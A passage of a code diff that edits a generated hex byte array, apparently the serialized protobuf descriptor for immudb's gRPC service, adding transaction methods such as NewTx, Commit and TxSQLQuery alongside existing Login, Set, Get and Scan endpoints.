0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, - 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, + 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, + 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, + 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, - 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, - 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, - 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, - 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, - 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, - 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, - 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, - 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, - 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, - 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, - 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, + 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, + 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, + 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, + 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, + 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, + 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, + 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, - 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, - 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, - 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, - 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, - 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, - 0x93, 